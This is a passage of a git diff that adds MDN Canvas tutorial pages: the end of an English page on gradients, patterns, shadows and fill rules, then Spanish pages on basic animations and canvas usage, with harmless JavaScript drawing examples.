+ <dd>Creates a new color stop on the <code>gradient</code> object. The <code>position</code> is a number between 0.0 and 1.0 and defines the relative position of the color in the gradient, and the <code>color</code> argument must be a string representing a CSS {{cssxref("&lt;color&gt;")}}, indicating the color the gradient should reach at that offset into the transition.</dd>
+</dl>
+
+<p>You can add as many color stops to a gradient as you need. Below is a very simple linear gradient from white to black.</p>
+
+<pre class="brush: js">var lineargradient = ctx.createLinearGradient(0, 0, 150, 150);
+lineargradient.addColorStop(0, 'white');
+lineargradient.addColorStop(1, 'black');
+</pre>
+
+<h3 id="A_createLinearGradient_example" name="A_createLinearGradient_example">A <code>createLinearGradient</code> example</h3>
+
+<p>In this example, we'll create two different gradients. As you can see here, both the <code>strokeStyle</code> and <code>fillStyle</code> properties can accept a <code>canvasGradient</code> object as valid input.</p>
+
+<pre class="brush: js;highlight[5,11]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Create gradients
+  var lingrad = ctx.createLinearGradient(0, 0, 0, 150);
+  lingrad.addColorStop(0, '#00ABEB');
+  lingrad.addColorStop(0.5, '#fff');
+  lingrad.addColorStop(0.5, '#26C000');
+  lingrad.addColorStop(1, '#fff');
+
+  var lingrad2 = ctx.createLinearGradient(0, 50, 0, 95);
+  lingrad2.addColorStop(0.5, '#000');
+  lingrad2.addColorStop(1, 'rgba(0, 0, 0, 0)');
+
+  // assign gradients to fill and stroke styles
+  ctx.fillStyle = lingrad;
+  ctx.strokeStyle = lingrad2;
+
+  // draw shapes
+  ctx.fillRect(10, 10, 130, 130);
+  ctx.strokeRect(50, 50, 50, 50);
+
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>The first is a background gradient. As you can see, we assigned two colors at the same position. You do this to make very sharp color transitions—in this case from white to green. Normally, it doesn't matter in what order you define the color stops, but in this special case, it does significantly. If you keep the assignments in the order you want them to appear, this won't be a problem.</p>
+
+<p>In the second gradient, we didn't assign the starting color (at position 0.0) since it wasn't strictly necessary, because it will automatically assume the color of the next color stop. Therefore, assigning the black color at position 0.5 automatically makes the gradient, from the start to this stop, black.</p>
+
+<p>{{EmbedLiveSample("A_createLinearGradient_example", "180", "180", "https://mdn.mozillademos.org/files/235/Canvas_lineargradient.png")}}</p>
+
+<h3 id="A_createRadialGradient_example" name="A_createRadialGradient_example">A <code>createRadialGradient</code> example</h3>
+
+<p>In this example, we'll define four different radial gradients. Because we have control over the start and closing points of the gradient, we can achieve more complex effects than we would normally have in the "classic" radial gradients we see in, for instance, Photoshop (that is, a gradient with a single center point where the gradient expands outward in a circular shape).</p>
+
+<pre class="brush: js;highlight[5,10,15,20]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Create gradients
+  var radgrad = ctx.createRadialGradient(45, 45, 10, 52, 50, 30);
+  radgrad.addColorStop(0, '#A7D30C');
+  radgrad.addColorStop(0.9, '#019F62');
+  radgrad.addColorStop(1, 'rgba(1, 159, 98, 0)');
+
+  var radgrad2 = ctx.createRadialGradient(105, 105, 20, 112, 120, 50);
+  radgrad2.addColorStop(0, '#FF5F98');
+  radgrad2.addColorStop(0.75, '#FF0188');
+  radgrad2.addColorStop(1, 'rgba(255, 1, 136, 0)');
+
+  var radgrad3 = ctx.createRadialGradient(95, 15, 15, 102, 20, 40);
+  radgrad3.addColorStop(0, '#00C9FF');
+  radgrad3.addColorStop(0.8, '#00B5E2');
+  radgrad3.addColorStop(1, 'rgba(0, 201, 255, 0)');
+
+  var radgrad4 = ctx.createRadialGradient(0, 150, 50, 0, 140, 90);
+  radgrad4.addColorStop(0, '#F4F201');
+  radgrad4.addColorStop(0.8, '#E4C700');
+  radgrad4.addColorStop(1, 'rgba(228, 199, 0, 0)');
+
+  // draw shapes
+  ctx.fillStyle = radgrad4;
+  ctx.fillRect(0, 0, 150, 150);
+  ctx.fillStyle = radgrad3;
+  ctx.fillRect(0, 0, 150, 150);
+  ctx.fillStyle = radgrad2;
+  ctx.fillRect(0, 0, 150, 150);
+  ctx.fillStyle = radgrad;
+  ctx.fillRect(0, 0, 150, 150);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>In this case, we've offset the starting point slightly from the end point to achieve a spherical 3D effect. It's best to try to avoid letting the inside and outside circles overlap because this results in strange effects which are hard to predict.</p>
+
+<p>The last color stop in each of the four gradients uses a fully transparent color. If you want to have a nice transition from this to the previous color stop, both colors should be equal. This isn't very obvious from the code because it uses two different CSS color methods as a demonstration, but in the first gradient <code>#019F62 = rgba(1,159,98,1)</code>.</p>
+
+<p>{{EmbedLiveSample("A_createRadialGradient_example", "180", "180", "https://mdn.mozillademos.org/files/244/Canvas_radialgradient.png")}}</p>
+
+<h2 id="Patterns" name="Patterns">Patterns</h2>
+
+<p>In one of the examples on the previous page, we used a series of loops to create a pattern of images. There is, however, a much simpler method: the <code>createPattern()</code> method.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createPattern", "createPattern(image, type)")}}</dt>
+ <dd>Creates and returns a new canvas pattern object. <code>image</code> is a {{domxref("CanvasImageSource")}} (that is, an {{domxref("HTMLImageElement")}}, another canvas, a {{HTMLElement("video")}} element, or the like. <code>type</code> is a string indicating how to use the image.</dd>
+</dl>
+
+<p>The type specifies how to use the image in order to create the pattern, and must be one of the following string values:</p>
+
+<dl>
+ <dt><code>repeat</code></dt>
+ <dd>Tiles the image in both vertical and horizontal directions.</dd>
+ <dt><code>repeat-x</code></dt>
+ <dd>Tiles the image horizontally but not vertically.</dd>
+ <dt><code>repeat-y</code></dt>
+ <dd>Tiles the image vertically but not horizontally.</dd>
+ <dt><code>no-repeat</code></dt>
+ <dd>Doesn't tile the image. It's used only once.</dd>
+</dl>
+
+<p>We use this method to create a {{domxref("CanvasPattern")}} object which is very similar to the gradient methods we've seen above. Once we've created a pattern, we can assign it to the <code>fillStyle</code> or <code>strokeStyle</code> properties. For example:</p>
+
+<pre class="brush: js">var img = new Image();
+img.src = 'someimage.png';
+var ptrn = ctx.createPattern(img, 'repeat');
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> Like with the <code>drawImage()</code> method, you must make sure the image you use is loaded before calling this method or the pattern may be drawn incorrectly.</p>
+</div>
+
+<h3 id="A_createPattern_example" name="A_createPattern_example">A <code>createPattern</code> example</h3>
+
+<p>In this last example, we'll create a pattern to assign to the <code>fillStyle</code> property. The only thing worth noting is the use of the image's <code>onload</code> handler. This is to make sure the image is loaded before it is assigned to the pattern.</p>
+
+<pre class="brush: js;highlight[10]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // create new image object to use as pattern
+  var img = new Image();
+  img.src = 'https://mdn.mozillademos.org/files/222/Canvas_createpattern.png';
+  img.onload = function() {
+
+    // create pattern
+    var ptrn = ctx.createPattern(img, 'repeat');
+    ctx.fillStyle = ptrn;
+    ctx.fillRect(0, 0, 150, 150);
+
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+
+<p>The result looks like this:</p>
+</div>
+
+<p>{{EmbedLiveSample("A_createPattern_example", "180", "180", "https://mdn.mozillademos.org/files/222/Canvas_createpattern.png")}}</p>
+
+<h2 id="Shadows">Shadows</h2>
+
+<p>Using shadows involves just four properties:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetX", "shadowOffsetX = float")}}</dt>
+ <dd>Indicates the horizontal distance the shadow should extend from the object. This value isn't affected by the transformation matrix. The default is 0.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetY", "shadowOffsetY = float")}}</dt>
+ <dd>Indicates the vertical distance the shadow should extend from the object. This value isn't affected by the transformation matrix. The default is 0.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur = float")}}</dt>
+ <dd>Indicates the size of the blurring effect; this value doesn't correspond to a number of pixels and is not affected by the current transformation matrix. The default value is 0.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowColor", "shadowColor = color")}}</dt>
+ <dd>A standard CSS color value indicating the color of the shadow effect; by default, it is fully-transparent black.</dd>
+</dl>
+
+<p>The properties <code>shadowOffsetX</code> and <code>shadowOffsetY</code> indicate how far the shadow should extend from the object in the X and Y directions; these values aren't affected by the current transformation matrix. Use negative values to cause the shadow to extend up or to the left, and positive values to cause the shadow to extend down or to the right. These are both 0 by default.</p>
+
+<p>The <code>shadowBlur</code> property indicates the size of the blurring effect; this value doesn't correspond to a number of pixels and is not affected by the current transformation matrix. The default value is 0.</p>
+
+<p>The <code>shadowColor</code> property is a standard CSS color value indicating the color of the shadow effect; by default, it is fully-transparent black.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Shadows are only drawn for <code>source-over</code> <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing" title="Web/Guide/HTML/Canvas_tutorial/Compositing">compositing operations</a>.</p>
+</div>
+
+<h3 id="A_shadowed_text_example">A shadowed text example</h3>
+
+<p>This example draws a text string with a shadowing effect.</p>
+
+<pre class="brush: js;highlight[4,5,6,7]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.shadowOffsetX = 2;
+  ctx.shadowOffsetY = 2;
+  ctx.shadowBlur = 2;
+  ctx.shadowColor = 'rgba(0, 0, 0, 0.5)';
+
+  ctx.font = '20px Times New Roman';
+  ctx.fillStyle = 'Black';
+  ctx.fillText('Sample String', 5, 30);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="80"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_shadowed_text_example", "180", "100", "https://mdn.mozillademos.org/files/2505/shadowed-string.png")}}</p>
+
+<p>We will look at the <code>font</code> property and <code>fillText</code> method in the next chapter about <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_text">drawing text</a>.</p>
+
+<h2 id="Canvas_fill_rules">Canvas fill rules</h2>
+
+<p>When using <code>fill</code> (or {{domxref("CanvasRenderingContext2D.clip", "clip")}} and {{domxref("CanvasRenderingContext2D.isPointInPath", "isPointinPath")}}) you can optionally provide a fill rule algorithm by which to determine if a point is inside or outside a path and thus if it gets filled or not. This is useful when a path intersects itself or is nested.<br>
+ <br>
+ Two values are possible:</p>
+
+<ul>
+ <li><code><strong>"nonzero</strong></code>": The <a class="external external-icon" href="http://en.wikipedia.org/wiki/Nonzero-rule">non-zero winding rule</a>, which is the default rule.</li>
+ <li><code><strong>"evenodd"</strong></code>: The <a class="external external-icon" href="http://en.wikipedia.org/wiki/Even%E2%80%93odd_rule">even-odd winding rule</a>.</li>
+</ul>
+
+<p>In this example we are using the <code>evenodd</code> rule.</p>
+
+<pre class="brush: js;highlight[6]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.beginPath();
+  ctx.arc(50, 50, 30, 0, Math.PI * 2, true);
+  ctx.arc(50, 50, 15, 0, Math.PI * 2, true);
+  ctx.fill('evenodd');
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="100" height="100"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Canvas_fill_rules", "110", "110", "https://mdn.mozillademos.org/files/9855/fill-rule.png")}}</p>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_shapes", "Web/API/Canvas_API/Tutorial/Drawing_text")}}</p>
diff --git a/files/es/web/guide/html/canvas_tutorial/basic_animations/index.html b/files/es/web/guide/html/canvas_tutorial/basic_animations/index.html
new file mode 100644
index 0000000000..94c66fb05d
--- /dev/null
+++ b/files/es/web/guide/html/canvas_tutorial/basic_animations/index.html
@@ -0,0 +1,333 @@
+---
+title: Animaciones básicas
+slug: Web/Guide/HTML/Canvas_tutorial/Basic_animations
+tags:
+  - Canvas
+  - HTML5
+  - Intermedio
+  - Tutorial
+  - graficos
+translation_of: Web/API/Canvas_API/Tutorial/Basic_animations
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Compositing", "Web/API/Canvas_API/Tutorial/Advanced_animations")}}</div>
+
+<div class="summary">
+<p>Ya que estamos usando JavaScript para controlar elementos {{HTMLElement("canvas")}} , también es muy fácil hacer animaciones (interactivas). En este capitulo veremos como hacer algunas animaciones básicas.</p>
+</div>
+
+<p>Probablemente la mayor limitación es que una vez que se dibuja una forma, se mantiene de esa manera. Si necesitamos moverlo tenemos que volver a dibujarlo y todo lo que se dibujó antes. Se necesita mucho tiempo para volver a dibujar estructuras complejas y el rendimiento depende en gran medida de la velocidad de la computadora en la que se ejecuta.</p>
+
+<h2 id="Basic_animation_steps" name="Basic_animation_steps">Pasos básicos de animación</h2>
+
+<p>Estos son los pasos que necesitas para dibujar un cuadro:</p>
+
+<ol>
+ <li><strong>Limpiar el canvas</strong><br>
+  A menos que las formas que vas a dibujar llenen el canvas completo (por ejemplo, una imagen de fondo), debes borrar cualquier forma que haya dibujado previamente. La forma más fácil de hacerlo es usar el método {{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}}.</li>
+ <li><strong>Guardar el estado del canvas</strong><br>
+  Si estás cambiando alguna configuración (como estilos, transformaciones, etc.) que afecte el estado del canvas y deseas asegurarte de que se utiliza el estado original cada vez que se dibuja una figura, debes guardar ese estado original. </li>
+ <li><strong>Dibujar formas animadas</strong><br>
+  El paso en el que realizas el renderizado del cuadro actual.</li>
+ <li><strong>Restaurar el estado del canvas</strong><br>
+  Si has guardado el estado, restáuralo antes de dibujar un nuevo cuadro.</li>
+</ol>
+
+<h2 id="Controlling_an_animation" name="Controlling_an_animation">Controlando una animación</h2>
+
+<p>Las formas se dibujan en el canvas utilizando los métodos de canvas directamente o llamando a funciones personalizadas. En circunstancias normales, solo vemos que estos resultados aparecen en el canvas cuando el script termina de ejecutarse. Por ejemplo, no es posible hacer una animación desde un bucle <code>for</code>.</p>
+
+<p>Eso significa que necesitamos una forma de ejecutar nuestras funciones de dibujo durante un período de tiempo. Hay dos formas de controlar una animación como esta.</p>
+
+<h3 id="Actualizaciones_Programadas">Actualizaciones Programadas</h3>
+
+<p>Primero {{domxref("window.setInterval()")}}, {{domxref("window.setTimeout()")}}, y {{domxref("window.requestAnimationFrame()")}} son funciones que pueden ser usadas para llamar una función especifica en un periodo de tiempo establecido.</p>
+
+<dl>
+ <dt>{{domxref("WindowTimers.setInterval", "setInterval(function, delay)")}}</dt>
+ <dd>Ejecuta una función especificada por <code>function</code> cada <code>delay</code> milisegundos.</dd>
+ <dt>{{domxref("WindowTimers.setTimeout", "setTimeout(function, delay)")}}</dt>
+ <dd>Ejecuta una función especificada por <code>function</code> dentro de <code>delay</code> milisegundos.</dd>
+ <dt>{{domxref("Window.requestAnimationFrame()", "requestAnimationFrame(callback)")}}</dt>
+ <dd>Comunica al navegador que  deseas iniciar una animación y requieres que el navegador llame a las funciones especificas para actualizar la misma antes de la siguiente escena.</dd>
+</dl>
+
+<p>Si no quieres ninguna interacción del usuario puedes usar la función <code>setInterval()</code> que repite la ejecución del código suministrado. Si lo que queremos es hacer un juego, podríamos usar eventos de teclado o el mouse para controlar la animación y usar <code>setTimeout()</code>. Al establecer los {{domxref("EventListener")}}, capturamos cualquier interacción del usuario y ejecutamos nuestras funciones de animación.</p>
+
+<div class="note">
+<p>En los siguiente ejemplo,usaremos el método para controlar animaciones {{domxref("window.requestAnimationFrame()")}}. El método <code>requestAnimationFrame</code> provee formas amigables y mas eficientes  para animar llamando cada marco de animación cuando el sistema esta listo para dibujar. La cantidad de devoluciones de llamadas suele ser 60 veces por segundo y podría ser reducido a menor periodo cuando se corre en un segundo plano. Para mas información acerca de los ciclos de animación, especialmente para juegos, Ver el Articulo <a href="/es/docs/Games/Anatomy">Anatomía de un videojuego</a> en nuestra <a href="/en-US/docs/Games">GameZona de desarrollo de Juegos</a>.</p>
+</div>
+
+<h2 id="Un_sistema_solar_animado">Un sistema solar animado</h2>
+
+<p>Este ejemplo animado es un pequeño modelo de nuestro sistema solar.</p>
+
+<pre class="brush: js">var sun = new Image();
+var moon = new Image();
+var earth = new Image();
+function init(){
+  sun.src = 'https://mdn.mozillademos.org/files/1456/Canvas_sun.png';
+  moon.src = 'https://mdn.mozillademos.org/files/1443/Canvas_moon.png';
+  earth.src = 'https://mdn.mozillademos.org/files/1429/Canvas_earth.png';
+  window.requestAnimationFrame(draw);
+}
+
+function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.globalCompositeOperation = 'destination-over';
+  ctx.clearRect(0,0,300,300); // limpiar canvas
+
+  ctx.fillStyle = 'rgba(0,0,0,0.4)';
+  ctx.strokeStyle = 'rgba(0,153,255,0.4)';
+  ctx.save();
+  ctx.translate(150,150);
+
+  // La tierra
+  var time = new Date();
+  ctx.rotate( ((2*Math.PI)/60)*time.getSeconds() + ((2*Math.PI)/60000)*time.getMilliseconds() );
+  ctx.translate(105,0);
+  ctx.fillRect(0,-12,50,24); // Sombra
+  ctx.drawImage(earth,-12,-12);
+
+  // La luna
+  ctx.save();
+  ctx.rotate( ((2*Math.PI)/6)*time.getSeconds() + ((2*Math.PI)/6000)*time.getMilliseconds() );
+  ctx.translate(0,28.5);
+  ctx.drawImage(moon,-3.5,-3.5);
+  ctx.restore();
+
+  ctx.restore();
+
+  ctx.beginPath();
+  ctx.arc(150,150,105,0,Math.PI*2,false); // Órbita terrestre
+  ctx.stroke();
+
+  ctx.drawImage(sun,0,0,300,300);
+
+  window.requestAnimationFrame(draw);
+}
+
+init();
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("Un_sistema_solar_animado", "310", "310", "https://mdn.mozillademos.org/files/202/Canvas_animation1.png")}}</p>
+
+<h2 id="Un_reloj_animado">Un reloj animado</h2>
+
+<p>Este ejemplo dibuja una reloj animado, mostrando la hora actual.</p>
+
+<pre class="brush: js">function clock(){
+  var now = new Date();
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.save();
+  ctx.clearRect(0,0,150,150);
+  ctx.translate(75,75);
+  ctx.scale(0.4,0.4);
+  ctx.rotate(-Math.PI/2);
+  ctx.strokeStyle = "black";
+  ctx.fillStyle = "white";
+  ctx.lineWidth = 8;
+  ctx.lineCap = "round";
+
+  // Aguja de la hora
+  ctx.save();
+  for (var i=0;i&lt;12;i++){
+    ctx.beginPath();
+    ctx.rotate(Math.PI/6);
+    ctx.moveTo(100,0);
+    ctx.lineTo(120,0);
+    ctx.stroke();
+  }
+  ctx.restore();
+
+  // Aguja del minuto
+  ctx.save();
+  ctx.lineWidth = 5;
+  for (i=0;i&lt;60;i++){
+    if (i%5!=0) {
+      ctx.beginPath();
+      ctx.moveTo(117,0);
+      ctx.lineTo(120,0);
+      ctx.stroke();
+    }
+    ctx.rotate(Math.PI/30);
+  }
+  ctx.restore();
+
+  var sec = now.getSeconds();
+  var min = now.getMinutes();
+  var hr  = now.getHours();
+  hr = hr&gt;=12 ? hr-12 : hr;
+
+  ctx.fillStyle = "black";
+
+  // Escribimos la hora
+  ctx.save();
+  ctx.rotate( hr*(Math.PI/6) + (Math.PI/360)*min + (Math.PI/21600)*sec )
+  ctx.lineWidth = 14;
+  ctx.beginPath();
+  ctx.moveTo(-20,0);
+  ctx.lineTo(80,0);
+  ctx.stroke();
+  ctx.restore();
+
+  // escribimos los minutos
+  ctx.save();
+  ctx.rotate( (Math.PI/30)*min + (Math.PI/1800)*sec )
+  ctx.lineWidth = 10;
+  ctx.beginPath();
+  ctx.moveTo(-28,0);
+  ctx.lineTo(112,0);
+  ctx.stroke();
+  ctx.restore();
+
+  // escribimos los segundos
+  ctx.save();
+  ctx.rotate(sec * Math.PI/30);
+  ctx.strokeStyle = "#D40000";
+  ctx.fillStyle = "#D40000";
+  ctx.lineWidth = 6;
+  ctx.beginPath();
+  ctx.moveTo(-30,0);
+  ctx.lineTo(83,0);
+  ctx.stroke();
+  ctx.beginPath();
+  ctx.arc(0,0,10,0,Math.PI*2,true);
+  ctx.fill();
+  ctx.beginPath();
+  ctx.arc(95,0,10,0,Math.PI*2,true);
+  ctx.stroke();
+  ctx.fillStyle = "rgba(0,0,0,0)";
+  ctx.arc(0,0,3,0,Math.PI*2,true);
+  ctx.fill();
+  ctx.restore();
+
+  ctx.beginPath();
+  ctx.lineWidth = 14;
+  ctx.strokeStyle = '#325FA2';
+  ctx.arc(0,0,142,0,Math.PI*2,true);
+  ctx.stroke();
+
+  ctx.restore();
+
+  window.requestAnimationFrame(clock);
+}
+
+window.requestAnimationFrame(clock);</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("Un_reloj_animado", "180", "180", "https://mdn.mozillademos.org/files/203/Canvas_animation2.png")}}</p>
+
+<h2 id="Un_panorama_en_bucle">Un panorama en bucle</h2>
+
+<p>En este ejemplo, una foto panorámica avanza de izquierda a derecha. Donde usaremos <a href="http://commons.wikimedia.org/wiki/File:Capitan_Meadows,_Yosemite_National_Park.jpg" title="http://commons.wikimedia.org/wiki/File:Capitan_Meadows,_Yosemite_National_Park.jpg">una imagen del Parque Nacional de Yosemite</a> que tomamos de Wikipedia, pero tu podrías usar cualquier imagen que sea mas grande que el canvas.</p>
+
+<pre class="brush: js">var img = new Image();
+
+// Variables de usuario - personalizar estas para cambiar la imagen cuando inicie el desplazamiento
+// dirección y velocidad.
+
+img.src = 'https://mdn.mozillademos.org/files/4553/Capitan_Meadows,_Yosemite_National_Park.jpg';
+var CanvasXSize = 800;
+var CanvasYSize = 200;
+var speed = 30; //más bajo es más rápido
+var scale = 1.05;
+var y = -4.5; //desplazamiento vertical
+
+// Programa principal
+
+var dx = 0.75;
+var imgW;
+var imgH;
+var x = 0;
+var clearX;
+var clearY;
+var ctx;
+
+img.onload = function() {
+    imgW = img.width * scale;
+    imgH = img.height * scale;
+
+    if (imgW &gt; CanvasXSize) {
+        // imagen más grande que canvas
+        x = CanvasXSize - imgW;
+    }
+    if (imgW &gt; CanvasXSize) {
+        // ancho de imagen más grande que canvas
+        clearX = imgW;
+    } else {
+        clearX = CanvasXSize;
+    }
+    if (imgH &gt; CanvasYSize) {
+        // altura de la imagen más grande que canvas
+        clearY = imgH;
+    } else {
+        clearY = CanvasYSize;
+    }
+
+    // obtener contexto de canvas
+    ctx = document.getElementById('canvas').getContext('2d');
+
+    // establecer frecuencia de actualización
+    return setInterval(draw, speed);
+}
+
+function draw() {
+    ctx.clearRect(0, 0, clearX, clearY); // clear the canvas
+
+    // si la imagen es &lt;= tamaño de Canvas
+    if (imgW &lt;= CanvasXSize) {
+        // reiniciar, comenzar desde el principio
+        if (x &gt; CanvasXSize) {
+            x = -imgW + x;
+        }
+        // dibujar image1 adicional
+        if (x &gt; 0) {
+            ctx.drawImage(img, -imgW + x, y, imgW, imgH);
+        }
+        // dibujar image2 adicional
+        if (x - imgW &gt; 0) {
+            ctx.drawImage(img, -imgW * 2 + x, y, imgW, imgH);
+        }
+    }
+
+    // la imagen es &gt; tamaño de Canvas
+    else {
+        // reiniciar, comenzar desde el principio
+        if (x &gt; (CanvasXSize)) {
+            x = CanvasXSize - imgW;
+        }
+        // dibujar image adicional
+        if (x &gt; (CanvasXSize-imgW)) {
+            ctx.drawImage(img, x - imgW + 1, y, imgW, imgH);
+        }
+    }
+    // dibujar imagen
+    ctx.drawImage(img, x, y,imgW, imgH);
+    // cantidad para moverse
+    x += dx;
+}</pre>
+
+<p>Debajo esta el elemento {{HTMLElement("canvas")}} en el cual va la imagen se va ha desplazar. Nota que el ancho y el alto especificado aquí son las variables <code>CanvasXZSize</code> y <code>CanvasYSize</code>.</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="800" height="200"&gt;&lt;/canvas&gt;</pre>
+
+<p>{{EmbedLiveSample("Un_panorama_en_bucle", "830", "230")}}</p>
+
+<h2 id="Other_examples" name="Other_examples">Otros ejemplos</h2>
+
+<dl>
+ <dt><a href="/es/docs/Web/API/Canvas_API/A_basic_ray-caster" title="/en-US/docs/Web/Guide/HTML/A_basic_ray-caster">Un ray-caster básico</a></dt>
+ <dd>Un buen ejemplo de como hacer animaciones usando como control el teclado.</dd>
+ <dt><a href="/es/docs/Web/API/Canvas_API/Tutorial/Advanced_animations">Animaciones avanzadas</a></dt>
+ <dd>Vamos a echar un vistazo a algunas técnicas de animación avanzadas y física en el próximo capítulo.</dd>
+</dl>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Compositing", "Web/API/Canvas_API/Tutorial/Advanced_animations")}}</p>
diff --git a/files/es/web/guide/html/canvas_tutorial/basic_usage/index.html b/files/es/web/guide/html/canvas_tutorial/basic_usage/index.html
new file mode 100644
index 0000000000..17136d7a7e
--- /dev/null
+++ b/files/es/web/guide/html/canvas_tutorial/basic_usage/index.html
@@ -0,0 +1,146 @@
+---
+title: Uso básico de Canvas
+slug: Web/Guide/HTML/Canvas_tutorial/Basic_usage
+translation_of: Web/API/Canvas_API/Tutorial/Basic_usage
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial", "Web/API/Canvas_API/Tutorial/Dibujando_formas")}}</div>
+
+<div class="summary">
+<p>Comenzamos este tutorial observando el elemento  {{HTMLElement("canvas")}}. Al final de esta página, sabrás como configurar el entorno 2D de canvas y habrás dibujado el primer ejemplo en tu navegador.</p>
+</div>
+
+<h2 id="El_elemento_&lt;canvas>">El elemento <code>&lt;canvas&gt;</code></h2>
+
+<pre class="brush: html">&lt;canvas id="tutorial" width="150" height="150"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>A primera vista, un elemento {{HTMLElement("canvas")}} es parecido al elemento {{HTMLElement("img")}}, con la diferencia que este no tiene los atributos <code>src</code> y <code>alt</code>. El elemento <code>&lt;canvas&gt;</code> tiene solo dos atributos - {{htmlattrxref("width", "canvas")}} y {{htmlattrxref("height", "canvas")}}. Ambos son opcionales y pueden ser definidos usando propiedades <a href="/en-US/docs/DOM" rel="internal" title="en/DOM">DOM</a>. Cuando los atributos ancho y alto no estan especificados, el lienzo se inicializara con <strong>300 pixels</strong> ancho y <strong>150 pixels</strong> de alto. El elemento puede ser arbitrariamente redimensionado por CSS, pero durante el renderizado la imagen es escalada para ajustarse al tamaño de su layout. Si el tamaño del CSS no respeta el ratio del canvas inicial, este aparecerá distorsionado.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Si su renderizado se ve distorsionado, pruebe especificar los atributos width y height explícitamente en los atributos del <code>&lt;canvas&gt;</code> , y no usando CSS.</p>
+</div>
+
+<p>El atributo <a href="/es/docs/Web/HTML/Atributos_Globales/id">id</a> no está especificado para el elemento  <code>&lt;canvas&gt;</code> pero es uno de los <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales de HTML</a> el cual puede ser aplicado a cualquier elemento HTML (como <a href="en-US/docs/Web/HTML/Global_attributes/class">class</a> por ejemplo). Siempre es buena idea proporcionar un <code>id</code> porque esto hace más fácil identificarlo en un script.</p>
+
+<p>El elemento <code>&lt;canvas&gt;</code> puede ser estilizado como a cualquier imagen normal (margin, border, background, etc). Estas reglas, sin embargo, no afectan a lo dibujado sobre el canvas. Mas adelante veremos cómo se hace esto en un <a href="en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">capítulo dedicado</a> en este tutorial. Cuando no tenemos reglas de estilo aplicadas al canvas, este será completamente transparente.</p>
+
+<div id="section_2">
+<h3 id="Contenido_alternativo">Contenido alternativo</h3>
+
+<p>El elemento &lt;canvas&gt; se diferencia de un tag {{HTMLElement("img")}} en que, como los elementos {{HTMLElement("video")}}, {{HTMLElement("audio")}} o {{HTMLElement("picture")}}, es fácil definir contenido alternativo (fallback content) para mostrarse en navegadores viejos que no soporten el elemento &lt;canvas&gt;, como versiones de Internet Explorer previas a la versión 9 o navegadores de texto. Siempre debes proporcionar contenido alternativo para mostrar en estos navegadores.</p>
+
+<p>Proporcionar contenido alternativo es muy explicito: solo debemos insertar el contenido alterno dentro del elemento &lt;canvas&gt;. Los navegadores que no soporten <code>&lt;canvas&gt;</code> ignoraran el contenedor y mostrarán el contenido indicado dentro de este. Navegadores que soporten <code>&lt;canvas&gt;</code> ignorarán el contenido en su interior (de las etiquetas), y mostrarán el canvas normalmente.</p>
+
+<p>Por ejemplo, podremos proporcionar un texto descriptivo del contenido del canvas o proveer una imagen estática del contenido rederizado. Nos podría quedar algo así:</p>
+
+<pre class="brush: html">&lt;canvas id="stockGraph" width="150" height="150"&gt;
+  current stock price: $3.15 +0.15
+&lt;/canvas&gt;
+
+&lt;canvas id="clock" width="150" height="150"&gt;
+  &lt;img src="images/clock.png" width="150" height="150" alt=""/&gt;
+&lt;/canvas&gt;
+</pre>
+
+<h2 id="Etiqueta_&lt;canvas>_requerida">Etiqueta <code>&lt;/canvas&gt;</code> requerida</h2>
+
+<p>De manera distinta al elemento {{HTMLElement("img")}}, el elemento {{HTMLElement("canvas")}} requiere cerrar la etiqueta  (<code>&lt;/canvas&gt;</code>).</p>
+
+<div class="note">
